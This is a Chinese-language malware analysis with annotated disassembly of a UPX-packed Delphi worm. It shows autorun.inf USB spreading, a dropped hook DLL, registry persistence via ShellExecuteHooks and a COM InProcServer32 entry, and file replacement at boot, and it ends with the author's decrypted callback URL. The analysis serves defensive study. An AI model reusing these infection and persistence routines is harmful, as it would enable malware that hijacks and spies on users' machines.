首先用PEID查看是用UPX加壳,脱掉后显示为Delphi。
从文件最后读出文件大小(已加密),XOR解密后得到真正的文件大小。
下面是简单的分析过程:
将病毒文件及启动文件autorun.inf复制到E盘,然后设置文件隐藏属性
0040484C /$ 55 push ebp
0040484D |. 8BEC mov ebp,esp
0040484F |. 6A 00 push 0
00404851 |. 6A 00 push 0
00404853 |. 33C 0 xor eax,eax
00404855 |. 55 push ebp
00404856 |. 68 02494000 push SysAuto1.00404902
0040485B |. 64:FF30 push dword ptr fs:[eax]
0040485E |. 64:8920 mov dword ptr fs:[eax],esp
00404861 |. 8D55 FC lea edx,dword ptr ss:[ebp-4]
00404864 |. B8 18494000 mov eax,SysAuto1.00404918 ; ASCII "E:/"
00404869 |. E8 86FEFFFF call SysAuto 1.004046F 4
0040486E |. 68 80000000 push 80 ; /FileAttributes = NORMAL
00404873 |. 68 1C 494000 push SysAuto 1.0040491C ; |FileName = "E:/SysAuto.exe"
00404878 |. E8 BFFBFFFF call <jmp.&KERNEL32.SetFileAttributesA>; /SetFileAttributesA
0040487D |. 68 1C 494000 push SysAuto 1.0040491C ; /FileName = "E:/SysAuto.exe"
00404882 |. E8 25FBFFFF call <jmp.&KERNEL32.DeleteFileA> ; /DeleteFileA
00404887 |. 6A 00 push 0
00404889 |. 68 1C 494000 push SysAuto 1.0040491C ; ASCII "E:/SysAuto.exe"
0040488E |. 8D 55 F 8 lea edx,dword ptr ss:[ebp-8]
00404891 |. 33C 0 xor eax,eax
00404893 |. E 8 F 0E1FFFF call SysAuto 1.00402A 88
00404898 |. 8B 45 F 8 mov eax,dword ptr ss:[ebp-8]
0040489B |. E8 E4EEFFFF call SysAuto1.00403784
004048A 0 |. 50 push eax ; |ExistingFileName
004048A 1 |. E 8 F 6FAFFFF call <jmp.&KERNEL32.CopyFileA> ; /CopyFileA
004048A 6 |. BA 34494000 mov edx,SysAuto1.00404934
004048AB |. B8 98494000 mov eax,SysAuto1.00404998 ; ASCII "E:/AutoRun.Inf"
004048B0 |. E8 EB030000 call SysAuto1.00404CA0
004048B5 |. 6A 06 push 6 ; /FileAttributes = HIDDEN|SYSTEM
004048B7 |. 68 1C 494000 push SysAuto 1.0040491C ; |FileName = "E:/SysAuto.exe"
004048BC |. E8 7BFBFFFF call <jmp.&KERNEL32.SetFileAttributesA>; /SetFileAttributesA
004048C 1 |. BA B0494000 mov edx,SysAuto1.004049B0 ; ASCII "Proc"
004048C 6 |. B8 18494000 mov eax,SysAuto1.00404918 ; ASCII "E:/"
004048CB |. E8 5CFFFFFF call SysAuto 1.0040482C
004048D0 |. 68 F 4010000 push 1F 4 ; /Timeout = 500. ms
004048D5 |. E8 82FBFFFF call <jmp.&KERNEL32.Sleep> ; /Sleep
004048DA |. 8B55 FC mov edx,dword ptr ss:[ebp-4]
004048DD |. B8 18494000 mov eax,SysAuto1.00404918 ; ASCII "E:/"
004048E2 |. E8 45FFFFFF call SysAuto 1.0040482C
004048E7 |. 33C 0 xor eax,eax
004048E9 |. 5A pop edx
004048EA |. 59 pop ecx
004048EB |. 59 pop ecx
004048EC |. 64:8910 mov dword ptr fs:[eax],edx
004048EF |. 68 09494000 push SysAuto1.00404909
004048F 4 |> 8D 45 F 8 lea eax,dword ptr ss:[ebp-8]
004048F 7 |. BA 02000000 mov edx,2
004048FC |. E8 27ECFFFF call SysAuto1.00403528
00404901 /. C3 retn
创建autorun.inf文件
00404CA0 /$ 53 push ebx
00404CA1 |. 56 push esi
00404CA2 |. 57 push edi
00404CA3 |. 51 push ecx
00404CA4 |. 8BF2 mov esi,edx
00404CA6 |. 8BD8 mov ebx,eax
00404CA8 |. 33FF xor edi,edi
00404CAA |. 6A 00 push 0
00404CAC |. 6A 06 push 6
00404CAE |. 6A 02 push 2
00404CB0 |. 6A 00 push 0
00404CB2 |. 6A 03 push 3
00404CB4 |. 68 000000C 0 push C0000000
00404CB9 |. 8BC3 mov eax,ebx
00404CBB |. E 8 C 4EAFFFF call SysAuto1.00403784
00404CC0 |. 50 push eax ; |FileName
00404CC1 |. E8 DEF6FFFF call <jmp.&KERNEL32.CreateFileA> ; /CreateFileA
00404CC6 |. 8BD8 mov ebx,eax
00404CC8 |. 83FB FF cmp ebx,-1
00404CCB |. 74 2C je short SysAuto1.00404CF9
00404CCD |. 6A 00 push 0
00404CCF |. 8D4424 04 lea eax,dword ptr ss:[esp+4]
00404CD3 |. 50 push eax
00404CD4 |. 8BC6 mov eax,esi
00404CD6 |. E8 45E9FFFF call SysAuto1.00403620
00404CDB |. 50 push eax
00404CDC |. 8BC6 mov eax,esi
00404CDE |. E 8 A 1EAFFFF call SysAuto1.00403784
00404CE3 |. 50 push eax ; |Buffer
00404CE4 |. 53 push ebx ; |hFile
00404CE5 |. E8 7AF7FFFF call <jmp.&KERNEL32.WriteFile> ; /WriteFile
00404CEA |. 53 push ebx ; /hFile
00404CEB |. E8 44F 7FFFF call <jmp.&KERNEL32.SetEndOfFile> ; /SetEndOfFile
00404CF0 |. 53 push ebx ; /hObject
00404CF1 |. E8 9EF6FFFF call <jmp.&KERNEL32.CloseHandle> ; /CloseHandle
00404CF6 |. 83CF FF or edi,FFFFFFFF
00404CF9 |> 8BC7 mov eax,edi
00404CFB |. 5A pop edx
00404CFC |. 5F pop edi
00404CFD |. 5E pop esi
00404CFE |. 5B pop ebx
00404CFF /. C3 retn
向C:/Program Files/Internet Explorer/PLUGINS/复制文件System64.Sys
00405719 |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]
0040571E |. 8B00 mov eax,dword ptr ds:[eax]
00405720 |. E8 5FE0FFFF call SysAuto1.00403784
00405725 |. 50 push eax
00405726 |. 8D55 D4 lea edx,dword ptr ss:[ebp -2C ]
00405729 |. A 1 C 4604000 mov eax,dword ptr ds:[ 4060C 4]
0040572E |. E8 85F 2FFFF call SysAuto1.004049B8
00405733 |. 8B45 D4 mov eax,dword ptr ss:[ebp -2C ]
00405736 |. E8 49E0FFFF call SysAuto1.00403784
0040573B |. 50 push eax ; |String1
0040573C |. E8 33EDFFFF call <jmp.&KERNEL32.lstrcmpiA> ; /lstrcmpiA
00405741 |. 85C 0 test eax,eax
00405743 |. 74 5D je short SysAuto 1.004057A 2
00405745 |. 8B0D C8604000 mov ecx,dword ptr ds:[ 4060C 8] ; SysAuto 1.004060AC
0040574B |. 8B09 mov ecx,dword ptr ds:[ecx]
0040574D |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]
00405752 |. 8B 15 C 4764000 mov edx,dword ptr ds:[ 4076C 4]
00405758 |. E8 0FDFFFFF call SysAuto 1.0040366C
0040575D |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]
00405762 |. 8B00 mov eax,dword ptr ds:[eax]
00405764 |. E8 1BE0FFFF call SysAuto1.00403784
00405769 |. 50 push eax ; /FileName
0040576A |. E8 3DECFFFF call <jmp.&KERNEL32.DeleteFileA> ; /DeleteFileA
0040576F |. 6A 00 push 0
00405771 |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]
00405776 |. 8B00 mov eax,dword ptr ds:[eax]
00405778 |. E8 07E0FFFF call SysAuto1.00403784
0040577D |. 50 push eax
0040577E |. A 1 C 4604000 mov eax,dword ptr ds:[ 4060C 4]
00405783 |. E8 FCDFFFFF call SysAuto1.00403784
00405788 |. 50 push eax ; |ExistingFileName
00405789 |. E8 0EECFFFF call <jmp.&KERNEL32.CopyFileA> ; /CopyFileA
0040578E |. 6A 06 push 6
00405790 |. A 1 C 8604000 mov eax,dword ptr ds:[ 4060C 8]
00405795 |. 8B00 mov eax,dword ptr ds:[eax]
00405797 |. E8 E8DFFFFF call SysAuto1.00403784
0040579C |. 50 push eax ; |FileName
0040579D |. E8 9AECFFFF call <jmp.&KERNEL32.SetFileAttributes>; /SetFileAttributesA
004057A 2 |> B 8 C 0764000 mov eax,SysAuto 1.004076C 0
004057A 7 |. B9 74594000 mov ecx,SysAuto1.00405974 ; ASCII "System64.Tao"
004057AC |. 8B 15 C 4764000 mov edx,dword ptr ds:[ 4076C 4]
004057B2 |. E8 B5DEFFFF call SysAuto 1.0040366C
004057B7 |. B 8 C 8764000 mov eax,SysAuto 1.004076C 8
004057BC |. B9 8C 594000 mov ecx,SysAuto 1.0040598C ; ASCII "System64.Sys"
004057C 1 |. 8B 15 C 4764000 mov edx,dword ptr ds:[ 4076C 4]
004057C 7 |. E 8 A 0DEFFFF call SysAuto 1.0040366C
004057CC |. A 1 C 8764000 mov eax,dword ptr ds:[ 4076C 8]
004057D1 |. E8 AEDFFFFF call SysAuto1.00403784
004057D6 |. 8BD8 mov ebx,eax
004057D8 |. 53 push ebx ; /FileName = "C:/Program Files/Internet Explorer/PLUGINS/System64.Sys"
004057D9 |. E8 CEEBFFFF call <jmp.&KERNEL32.DeleteFileA> ; /DeleteFileA
004057DE |. 53 push ebx ; /Path
004057DF |. E8 44EEFFFF call <jmp.&shlwapi.PathFileExistsA> ; /PathFileExistsA
判断文件是否存在,如果不存在,从资源中取出
004057E4 |. 85C 0 test eax,eax
004057E6 |. 74 33 je short SysAuto1.0040581B
004057E8 |. A1 CC764000 mov eax,dword ptr ds:[4076CC]
004057ED |. 50 push eax
004057EE |. A 1 C 0764000 mov eax,dword ptr ds:[ 4076C 0]
004057F 3 |. E8 8CDFFFFF call SysAuto1.00403784
004057F 8 |. 8BC8 mov ecx,eax ; |
004057FA |. BA 9C 594000 mov edx,SysAuto 1.0040599C ; |ASCII "FILE"
004057FF |. B8 0A 000000 mov eax, 0A ; |
00405804 |. E8 37F 2FFFF call SysAuto 1.00404A 40 ; /SysAuto 1.00404A 40
00405809 |. 8B 15 C 0764000 mov edx,dword ptr ds:[ 4076C 0]
0040580F |. A 1 C 8764000 mov eax,dword ptr ds:[ 4076C 8]
00405814 |. E8 57F 6FFFF call SysAuto1.00404E70
00405819 |. EB 17 jmp short SysAuto1.00405832
0040581B |> A1 CC764000 mov eax,dword ptr ds:[4076CC]
00405820 |. 50 push eax ; /Arg1 => 009B02B4
00405821 |. 8BCB mov ecx,ebx ; |
00405823 |. BA 9C 594000 mov edx,SysAuto 1.0040599C ; |ASCII "FILE"
00405828 |. B8 0A 000000 mov eax, 0A ; |
0040582D |. E8 0EF2FFFF call SysAuto 1.00404A 40 ; /SysAuto 1.00404A 40
00405832 |> BA A4594000 mov edx,SysAuto 1.004059A 4 ; ASCII "yyyrt8jjjk9bjko"
00405837 |. 33C 0 xor eax,eax
00405839 |. E 8 C 2F 1FFFF call SysAuto 1.00404A 00
0040583E |. 85C 0 test eax,eax
00405840 |. 0F 85 AF000000 jnz SysAuto 1.004058F 5
00405846 |. BA B4594000 mov edx,SysAuto1.004059B4 ; ASCII "xxkxxxxjtrj8jok"
0040584B |. 33C 0 xor eax,eax
0040584D |. E8 AEF1FFFF call SysAuto 1.00404A 00
00405852 |. 85C 0 test eax,eax
00405854 |. 0F 85 9B000000 jnz SysAuto 1.004058F 5
0040585A |. 6A 00 push 0 ; /Arg8 = 00000000
0040585C |. 6A 00 push 0 ; |Arg7 = 00000000
0040585E |. 6A 00 push 0 ; |Arg6 = 00000000
00405860 |. 6A 00 push 0 ; |Arg5 = 00000000
00405862 |. 6A 00 push 0 ; |Arg4 = 00000000
00405864 |. 6A 00 push 0 ; |Arg3 = 00000000
00405866 |. A1 50764000 mov eax,dword ptr ds:[407650] ; |
0040586B |. 50 push eax ; |Arg2 => 00400000 ASCII "MZP"
0040586C |. 6A 00 push 0 ; |Arg1 = 00000000
0040586E |. BA A4594000 mov edx,SysAuto 1.004059A 4 ; |ASCII "yyyrt8jjjk9bjko"
00405873 |. B 8 C 4594000 mov eax,SysAuto 1.004059C 4 ; |ASCII "Edit"
00405878 |. 33C 9 xor ecx,ecx ; |
0040587A |. E8 7DFCFFFF call SysAuto1.004054FC ; /SysAuto1.004054FC
0040587F |. 53 push ebx ; /FileName
00405880 |. E8 87EBFFFF call <jmp.&KERNEL32.LoadLibraryA> ; /LoadLibraryA
00405885 |. 8BD8 mov ebx,eax
00405887 |. 85DB test ebx,ebx
00405889 |. 74 6A je short SysAuto 1.004058F 5
0040588B |. 68 CC594000 push SysAuto1.004059CC ; /ProcNameOrOrdinal = "MsgHookOff"
00405890 |. 53 push ebx ; |hModule
00405891 |. E8 4EEBFFFF call <jmp.&KERNEL32.GetProcAddress> ; /GetProcAddress
00405896 |. A3 D0764000 mov dword ptr ds:[4076D0],eax
0040589B |. 68 D8594000 push SysAuto1.004059D8 ; /ProcNameOrOrdinal = "MsgHookOn"
004058A 0 |. 53 push ebx ; |hModule
004058A 1 |. E8 3EEBFFFF call <jmp.&KERNEL32.GetProcAddress> ; /GetProcAddress
004058A 6 |. A3 D4764000 mov dword ptr ds:[4076D4],eax
004058AB |. 833D D0764000>cmp dword ptr ds:[4076D0],0
004058B2 |. 74 41 je short SysAuto 1.004058F 5
004058B4 |. 833D D4764000>cmp dword ptr ds:[4076D4],0
004058BB |. 74 38 je short SysAuto 1.004058F 5
004058BD |. FF15 D4764000 call dword ptr ds:[4076D4]
004058C 3 |. EB 06 jmp short SysAuto1.004058CB
004058C 5 |> 56 /push esi ; /pMsg
004058C 6 |. E 8 C 9EBFFFF |call <jmp.&user32.DispatchMessageA> ; /DispatchMessageA
004058CB |> 6A 00 push 0 ; /MsgFilterMax = 0
004058CD |. 6A 00 |push 0 ; |MsgFilterMin = 0
004058CF |. 6A 00 |push 0 ; |hWnd = NULL
004058D1 |. 56 |push esi ; |pMsg
004058D2 |. E8 D5EBFFFF |call <jmp.&user32.GetMessageA> ; /GetMessageA
004058D7 |. 85C 0 |test eax,eax
004058D9 |.^ 75 EA /jnz short SysAuto 1.004058C 5
004058DB |. FF15 D0764000 call dword ptr ds:[4076D0]
004058E1 |. 6A 00 push 0 ; /hWnd = NULL
004058E3 |. E8 9CEBFFFF call <jmp.&user32.CloseWindow> ; /CloseWindow
004058E8 |. 53 push ebx ; /hLibModule
004058E9 |. E8 CEEAFFFF call <jmp.&KERNEL32.FreeLibrary> ; /FreeLibrary
004058EE |. 6A 00 push 0 ; /hWnd = NULL
004058F 0 |. E8 8FEBFFFF call <jmp.&user32.CloseWindow> ; /CloseWindow
004058F 5 |> 68 E4594000 push SysAuto1.004059E4 ; /Arg1 = 004059E4
004058FA |. B9 E8594000 mov ecx,SysAuto1.004059E8 ; |ASCII "{754FB7D8-B8FE-4810-B363-A788CD 060F 1F }"
004058FF |. BA 105A 4000 mov edx,SysAuto 1.00405A 10 ; |ASCII "SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/ShellExecuteHooks"
00405904 |. B8 02000080 mov eax,80000002 ; |
00405909 |. E 8 F 2F 3FFFF call SysAuto1.00404D00 ; /SysAuto1.00404D00
0040590E |. A 1 C 8764000 mov eax,dword ptr ds:[ 4076C 8]
00405913 |. E8 6CDEFFFF call SysAuto1.00403784
00405918 |. 50 push eax ; /Arg1
00405919 |. E8 42F 4FFFF call SysAuto1.00404D60 ; /SysAuto1.00404D60
0040591E |> 33C 0 xor eax,eax
00405920 |. 5A pop edx
00405921 |. 59 pop ecx
00405922 |. 59 pop ecx
00405923 |. 64:8910 mov dword ptr fs:[eax],edx
00405926 |. 68 40594000 push SysAuto1.00405940
0040592B |> 8D45 D4 lea eax,dword ptr ss:[ebp -2C ]
0040592E |. BA 07000000 mov edx,7
00405933 |. E 8 F 0DBFFFF call SysAuto1.00403528
00405938 /. C3 retn
从资源中取出system64.sys
00404A 40 /$ 55 push ebp
00404A 41 |. 8BEC mov ebp,esp
00404A 43 |. 83C 4 F 4 add esp, -0C
00404A 46 |. 53 push ebx
00404A 47 |. 56 push esi
00404A 48 |. 57 push edi
00404A 49 |. 894D FC mov dword ptr ss:[ebp-4],ecx
00404A 4C |. 8BF2 mov esi,edx
00404A 4E |. 8BD8 mov ebx,eax
00404A 50 |. 837D 08 00 cmp dword ptr ss:[ebp+8],0
00404A 54 |. 0F 84 B3000000 je SysAuto1.00404B0D
00404A 5A |. 53 push ebx ; /ResourceType
00404A 5B |. 56 push esi ; |ResourceName
00404A 5C |. A1 50764000 mov eax,dword ptr ds:[407650] ; |
00404A 61 |. 50 push eax ; |hModule => 00400000 (SysAuto1)
00404A 62 |. E8 4DF9FFFF call <jmp.&KERNEL32.FindResourc>; /FindResourceA
00404A 67 |. 8BF8 mov edi,eax ; SysAuto 1.0040C 080
00404A 69 |. 85FF test edi,edi
00404A 6B |. 0F 84 9C 000000 je SysAuto1.00404B0D
00404A 71 |. 57 push edi ; /hResource
00404A 72 |. A1 50764000 mov eax,dword ptr ds:[407650] ; |
00404A 77 |. 50 push eax ; |hModule => 00400000 (SysAuto1)
00404A 78 |. E8 97F 9FFFF call <jmp.&KERNEL32.LoadResourc>; /LoadResource
00404A 7D |. 8BF0 mov esi,eax
00404A 7F |. 85F 6 test esi,esi
00404A 81 |. 0F 84 86000000 je SysAuto1.00404B0D
00404A 87 |. 56 push esi ; /hResource
00404A 88 |. E8 8FF9FFFF call <jmp.&KERNEL32.LockResourc>; /LockResource
00404A 8D |. 8945 F 4 mov dword ptr ss:[ebp-C],eax
00404A 90 |. 837D F4 00 cmp dword ptr ss:[ebp-C],0
00404A 94 |. 74 77 je short SysAuto1.00404B0D
00404A 96 |. 6A 00 push 0 ; /hTemplateFile = NULL
00404A 98 |. 6A 06 push 6 ; |Attributes = HIDDEN|SYSTEM
00404A 9A |. 6A 02 push 2 ; |Mode = CREATE_ALWAYS
00404A 9C |. 6A 00 push 0 ; |pSecurity = NULL
00404A 9E |. 6A 00 push 0 ; |ShareMode = 0
00404AA0 |. 68 000000C 0 push C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
00404AA5 |. 8B45 FC mov eax,dword ptr ss:[ebp-4] ; |
00404AA8 |. 50 push eax ; |FileName
00404AA9 |. E 8 F 6F 8FFFF call <jmp.&KERNEL32.CreateFileA>; /CreateFileA
00404AAE |. 8BD8 mov ebx,eax
00404AB0 |. 83FB FF cmp ebx,-1
00404AB3 |. 74 58 je short SysAuto1.00404B0D
00404AB5 |. 57 push edi ; /hResource
00404AB6 |. A1 50764000 mov eax,dword ptr ds:[407650] ; |
00404ABB |. 50 push eax ; |hModule => 00400000 (SysAuto1)
00404ABC |. E8 93F 9FFFF call <jmp.&KERNEL32.SizeofResou>; /SizeofResource
00404AC 1 |. 8BF8 mov edi,eax
00404AC 3 |. 6A 00 push 0 ; /pOverlapped = NULL
00404AC 5 |. 8D 45 F 8 lea eax,dword ptr ss:[ebp-8] ; |
00404AC 8 |. 50 push eax ; |pBytesWritten
00404AC 9 |. 57 push edi ; |nBytesToWrite
00404ACA |. 8B 45 F 4 mov eax,dword ptr ss:[ebp-C] ; |
00404ACD |. 50 push eax ; |Buffer
00404ACE |. 53 push ebx ; |hFile
00404ACF |. E8 90F 9FFFF call <jmp.&KERNEL32.WriteFile> ; /WriteFile
00404AD4 |. 8B45 08 mov eax,dword ptr ss:[ebp+8]
00404AD7 |. E8 44EBFFFF call SysAuto1.00403620
00404ADC |. 8BF8 mov edi,eax
00404ADE |. 6A 00 push 0
00404AE0 |. 8D 45 F 8 lea eax,dword ptr ss:[ebp-8]
00404AE3 |. 50 push eax
00404AE4 |. 57 push edi
00404AE5 |. 8B45 08 mov eax,dword ptr ss:[ebp+8]
00404AE8 |. E8 97ECFFFF call SysAuto1.00403784
00404AED |. 50 push eax ; |Buffer
00404AEE |. 53 push ebx ; |hFile
00404AEF |. E8 70F 9FFFF call <jmp.&KERNEL32.WriteFile> ; /WriteFile
00404AF4 |. 53 push ebx ; /hFile
00404AF5 |. E8 3AF9FFFF call <jmp.&KERNEL32.SetEndOfFil>; /SetEndOfFile
00404AFA |. 53 push ebx ; /hObject
00404AFB |. E8 94F 8FFFF call <jmp.&KERNEL32.CloseHandle>; /CloseHandle
00404B00 |. 8BC6 mov eax,esi
00404B02 |. E8 B 5F 9FFFF call SysAuto1.004044BC
00404B07 |. 56 push esi ; /hResource
00404B08 |. E8 B 7F 8FFFF call <jmp.&KERNEL32.FreeResourc>; /FreeResource
00404B0D |> 5F pop edi
00404B0E |. 5E pop esi
00404B 0F |. 5B pop ebx
00404B10 |. 8BE5 mov esp,ebp
00404B12 |. 5D pop ebp
00404B13 /. C2 0400 retn 4
修改注册表进行文件启动
00404D00 /$ 55 push ebp
00404D01 |. 8BEC mov ebp,esp
00404D03 |. 83C 4 F 8 add esp,-8
00404D06 |. 53 push ebx
00404D07 |. 56 push esi
00404D08 |. 8BF1 mov esi,ecx
00404D 0A |. 8B5D 08 mov ebx,dword ptr ss:[ebp+8]
00404D0D |. 33C 9 xor ecx,ecx
00404D 0F |. 894D FC mov dword ptr ss:[ebp-4],ecx
00404D12 |. C 745 F 8 01000>mov dword ptr ss:[ebp-8],1
00404D19 |. 8D4D F8 lea ecx,dword ptr ss:[ebp-8]
00404D 1C |. 51 push ecx ; /pDisposition
00404D1D |. 8D4D FC lea ecx,dword ptr ss:[ebp-4] ; |
00404D20 |. 51 push ecx ; |pHandle
00404D21 |. 6A 00 push 0 ; |pSecurity = NULL
00404D23 |. 68 3F 000F 00 push 0F 003F ; |Access = KEY_ALL_ACCESS
00404D28 |. 6A 00 push 0 ; |Options = REG_OPTION_NON_VOLATILE
00404D 2A |. 6A 00 push 0 ; |Class = NULL
00404D 2C |. 6A 00 push 0 ; |Reserved = 0
00404D2E |. 52 push edx ; |Subkey
00404D 2F |. 50 push eax ; |hKey
00404D30 |. E8 4FF6FFFF call <jmp.&advapi32.RegCreateKe>; /RegCreateKeyExA
00404D35 |. 53 push ebx ; /String = ""
00404D36 |. E8 41F 7FFFF call <jmp.&KERNEL32.lstrlenA> ; /lstrlenA
00404D3B |. 40 inc eax
00404D 3C |. 50 push eax ; /BufSize
00404D3D |. 53 push ebx ; |Buffer
00404D3E |. 6A 01 push 1 ; |ValueType = REG_SZ
00404D40 |. 6A 00 push 0 ; |Reserved = 0
00404D42 |. 56 push esi ; |ValueName
00404D43 |. 8B45 FC mov eax,dword ptr ss:[ebp-4] ; |
00404D46 |. 50 push eax ; |hKey
00404D47 |. E8 40F 6FFFF call <jmp.&advapi32.RegSetValue>; /RegSetValueExA
00404D 4C |. 8B45 FC mov eax,dword ptr ss:[ebp-4]
00404D 4F |. 50 push eax ; /hKey
00404D50 |. E8 27F 6FFFF call <jmp.&advapi32.RegCloseKey>; /RegCloseKey
00404D55 |. 5E pop esi
00404D56 |. 5B pop ebx
00404D57 |. 59 pop ecx
00404D58 |. 59 pop ecx
00404D59 |. 5D pop ebp
00404D 5A /. C2 0400 retn 4
00404D5D 8D40 00 lea eax,dword ptr ds:[eax]
00404D60 /$ 55 push ebp
00404D61 |. 8BEC mov ebp,esp
00404D63 |. 53 push ebx
00404D64 |. BB 84764000 mov ebx,SysAuto1.00407684
00404D69 |. 8BC3 mov eax,ebx
00404D6B |. BA E44D4000 mov edx,SysAuto1.00404DE4 ; ASCII "CLSID/{754FB7D8-B8FE-4810-B363-A788CD 060F 1F }"
00404D70 |. E8 E3E7FFFF call SysAuto1.00403558
00404D75 |. 68 144E4000 push SysAuto1.00404E14
00404D 7A |. 8B03 mov eax,dword ptr ds:[ebx]
00404D 7C |. E8 03EAFFFF call SysAuto1.00403784
00404D81 |. 8BD0 mov edx,eax ; |
00404D83 |. B9 144E4000 mov ecx,SysAuto1.00404E14 ; |
00404D88 |. B8 00000080 mov eax,80000000 ; |
00404D8D |. E8 6EFFFFFF call SysAuto1.00404D00 ; /SysAuto1.00404D00
00404D92 |. 8BC3 mov eax,ebx
00404D94 |. BA 204E4000 mov edx,SysAuto1.00404E20 ; ASCII "/InProcServer32"
00404D99 |. E8 8AE8FFFF call SysAuto1.00403628
00404D9E |. 8B45 08 mov eax,dword ptr ss:[ebp+8]
00404DA1 |. 50 push eax
00404DA2 |. 8B03 mov eax,dword ptr ds:[ebx]
00404DA4 |. E8 DBE9FFFF call SysAuto1.00403784
00404DA9 |. 8BD0 mov edx,eax ; |
00404DAB |. B9 144E4000 mov ecx,SysAuto1.00404E14 ; |
00404DB0 |. B8 00000080 mov eax,80000000 ; |
00404DB5 |. E8 46FFFFFF call SysAuto1.00404D00 ; /SysAuto1.00404D00
00404DBA |. 68 304E4000 push SysAuto1.00404E30 ; ASCII "Apartment"
00404DBF |. 8B03 mov eax,dword ptr ds:[ebx]
00404DC1 |. E8 BEE9FFFF call SysAuto1.00403784
00404DC6 |. 8BD0 mov edx,eax ; |
00404DC8 |. B9 3C 4E4000 mov ecx,SysAuto1.00404E 3C ; |ASCII "ThreadingModel"
00404DCD |. B8 00000080 mov eax,80000000 ; |
00404DD2 |. E8 29FFFFFF call SysAuto1.00404D00 ; /SysAuto1.00404D00
00404DD7 |. 5B pop ebx
00404DD8 |. 5D pop ebp
00404DD9 /. C2 0400 retn 4
根据操作系统版本修改wininit.ini的内容
00404E 4C /$ 81C 4 6CFFFFFF add esp,-94
00404E52 |. C70424 940000>mov dword ptr ss:[esp],94
00404E59 |. 54 push esp ; /pVersionInformation
00404E 5A |. E8 9DF5FFFF call <jmp.&KERNEL32.GetVersionE>; /GetVersionExA
00404E 5F |. 837C 24 10 02 cmp dword ptr ss:[esp+10],2
00404E64 |. 0F 95C 0 setne al
00404E67 |. 81C 4 94000000 add esp,94
00404E6D /. C3 retn
00404E6E 8BC0 mov eax,eax
00404E70 /$ 53 push ebx
00404E71 |. 56 push esi
00404E72 |. 81C 4 F 4FDFFFF add esp, -20C
00404E78 |. 8BF2 mov esi,edx
00404E 7A |. 8BD8 mov ebx,eax
00404E 7C |. E8 CBFFFFFF call SysAuto1.00404E 4C
00404E81 |. 84C 0 test al,al
00404E83 |. 74 4F je short SysAuto1.00404ED4
00404E85 |. 68 04010000 push 104
00404E 8A |. 8D8424 090100>lea eax,dword ptr ss:[esp+109]
00404E91 |. 50 push eax
00404E92 |. 8BC6 mov eax,esi
00404E94 |. E8 EBE8FFFF call SysAuto1.00403784
00404E99 |. 50 push eax ; |LongPath
00404E 9A |. E8 4DF5FFFF call <jmp.&KERNEL32.GetShortPat>; /GetShortPathNameA
00404E 9F |. 68 04010000 push 104
00404EA4 |. 8D4424 04 lea eax,dword ptr ss:[esp+4]
00404EA8 |. 50 push eax
00404EA9 |. 8BC3 mov eax,ebx
00404EAB |. E8 D4E8FFFF call SysAuto1.00403784
00404EB0 |. 50 push eax ; |LongPath
00404EB1 |. E8 36F 5FFFF call <jmp.&KERNEL32.GetShortPat>; /GetShortPathNameA
00404EB6 |. 68 F 44E4000 push SysAuto1.00404EF4 ; /FileName = "wininit.ini"
00404EBB |. 8D8424 090100>lea eax,dword ptr ss:[esp+109] ; |
00404EC2 |. 50 push eax ; |String
00404EC3 |. 8D4424 08 lea eax,dword ptr ss:[esp+8] ; |
00404EC7 |. 50 push eax ; |Key
00404EC8 |. 68 004F 4000 push SysAuto 1.00404F 00 ; |Section = "rename"
00404ECD |. E8 9AF5FFFF call <jmp.&KERNEL32.WritePrivat>; /WritePrivateProfileStringA
00404ED2 |. EB 17 jmp short SysAuto1.00404EEB
00404ED4 |> 6A 05 push 5
00404ED6 |. 8BC3 mov eax,ebx
00404ED8 |. E 8 A 7E8FFFF call SysAuto1.00403784
00404EDD |. 50 push eax
00404EDE |. 8BC6 mov eax,esi
00404EE0 |. E8 9FE8FFFF call SysAuto1.00403784
00404EE5 |. 50 push eax ; |ExistingName
00404EE6 |. E8 39F 5FFFF call <jmp.&KERNEL32.MoveFileExA>; /MoveFileExA
00404EEB |> 81C 4 0C 020000 add esp, 20C
00404EF1 |. 5E pop esi
00404EF2 |. 5B pop ebx
00404EF3 /. C3 retn
中间还有一段是解密作者隐藏的数据,下面是解密出的数据
解密出病毒作者的网址及其他数据
009B 002F 00 CB FB B 4 F 3 D2 AF 0D 0A 32 30 30 他大爷..200
009B 003F 37 2D 36 2D 39 20 31 35 3A 32 34 3A 32 36 0D 0A 7-6-9 15:24:26..
009B 004F 36 34 32 43 32 42 33 35 0D 0A 4B 65 79 5F 4B 65 642C 2B35..Key_Ke
009B 005F 79 0D 0A 36 30 0D 0A 59 65 73 0D 0A 59 65 73 0D y..60..Yes..Yes.
009B 006F 0A 59 65 73 0D 0A 68 74 74 70 3A 2F 2F 77 77 77 .Yes..http://www
009B 007F 2E 70 6C 69 6E 63 65 2E 6E 65 74 2F 58 58 2F 6E .plince.net/XX/n
009B 008F 6E 2E 61 73 70 0D 0A 78 78 78 78 0D 0A 68 74 74 n.asp..xxxx..htt
009B 009F 70 3A 2F 2F 77 77 77 2E 70 6C 69 6E 63 65 2E 6E p://www.plince.n
009B00AF 65 74 2F 58 58 2F 6E 6E 2E 61 73 70 0D 0A 17 E3 et/XX/nn.asp..
www.plince.net/XX/nn.asp